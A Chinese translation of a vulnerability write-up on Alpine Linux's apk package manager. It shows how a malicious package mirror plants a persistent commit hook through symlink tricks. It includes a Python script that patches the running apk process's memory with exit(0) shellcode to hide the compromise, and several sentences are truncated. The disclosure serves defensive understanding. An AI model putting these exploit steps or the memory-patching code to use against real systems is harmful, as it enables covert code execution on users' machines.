Alpine Linux远程代码执行漏洞分析

angel010 / 2018-09-20 10:15:36 / 浏览数 2288 安全技术 漏洞分析 顶(0) 踩(0)

本文翻译自：https://justi.cz/security/2018/09/13/alpine-apk-rce.html

---

研究人员在Alpine
Linux的默认包管理器中apk中发现了一些漏洞。Alpine与Docker非常类似，是一种轻量级的Linux发行版。这些漏洞允许网络中间人（恶意包镜像）在用户机器上执行任意代

在获取代码执行权限后，研究人员找出一种在/proc/<pid>/mem中写入的方式使用原始的apk进程用0退出状态码退出，而无须SYS_PTRACE能力。结果就是可以成功利用

下面是利用Docker容器作网络中间人的代码示例：
https://justi.cz/assets/apkpoc.mp4

任意文件创建导致RCE

Alpine
packages以.apk文件的形式分发，这些.apk文件启示是gzip压缩的tar文件。当apk取回package时，在检查哈希值是否与签名过的manifest中一致前会提取到\。
提取文件时，每个文件名和硬链接的目标都加了.apk-new的后缀。如果apk文件发现下载的package的哈希值不对，就尝试取消所有提取的文件和目录的链接。

因为apk的commit
hooks特征，所以任意代码写很容易就可以转成代码执行。如果找到一种将文件提取到/etc/apk/commit_hooks.d/中的方法，并确保清理进程允许后文件还在，那么就

有了下载的tar文件的控制权，就可以创建一个永久的commit hook，就像这样：

- 在/etc/apk/commit_hooks.d/目录下创建一个文件夹，提取的文件夹都没有.apk-new后缀；
- 在/etc/apk/commit_hooks.d/x下创建一个symlink，扩展的名会变成link.apk-new，但仍指向/etc/apk/commit_hooks.d/x；
- 创建一个名为link的文件（link.apk-new），可以通过symlink写，并在/etc/apk/commit_hooks.d/x中创建一个文件。

当apk文件发现package的哈希值与签名的index不匹配，首先会取消link.apk-new的链接，但/etc/apk/commit_hooks.d/x还是存在的。因为目录中不含payload，

修复退出状态码

在apk文件退出前，在客户端上可以运行任意代码；因此找出一种能够使apk进程正常退出的方法很重要。如果在Dockerfile构建步骤中使用apk，如果apk返回非0退出状态

如果什么都不做，apk就会返回与未成功安装的包数量相等的退出状态码，但状态码也可能会溢出，如果■■■■■■%256==0，进程返回的退出状态码也是0。

研究任意首先尝试使用gdb来与进程相关，但调用的是exit(0)。Docker容器默认是没有SYS_PTRACE能力的，所以不能完成这一动作。如果root过的话，就可以在/proc

```
import subprocess
import re

pid = int(subprocess.check_output(["pidof", "apk"]))

print("\033[92mapk pid is {}\033[0m".format(pid))

maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)

print("\033[92mEverything is fine! Please move along...\033[0m")

NOP = "90".decode("hex")

# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")

# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
   m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
   start = int(m.group(1), 16)
   end = int(m.group(2), 16)

   if "apk" in line and "r-xp" in line:
       mem_file.seek(start)
       nops_len = end - start - len(shellcode)
       mem_file.write(NOP * nops_len)
```

```
        mem_file.write(shellcode)

maps_file.close()
mem_file.close()
```

因此，研究人员：

- 用`pidof`找出了apk进程的pid；
- 用`/proc/<pid>/maps`找出进程可执行内存；
- 写一个直接`exit(0)`到内存的shellcode。

在commit hook退出后，apk恢复执行，就可以运行shellcode。

结论

如果有用户在生成环境下使用Alpine Linux，那么就需要：

1. 重构镜像。
2. 关注开发者的动态。好像apk的一个主要开发者已经修复了该bug，之后Alpine发布了一个新的发布版本。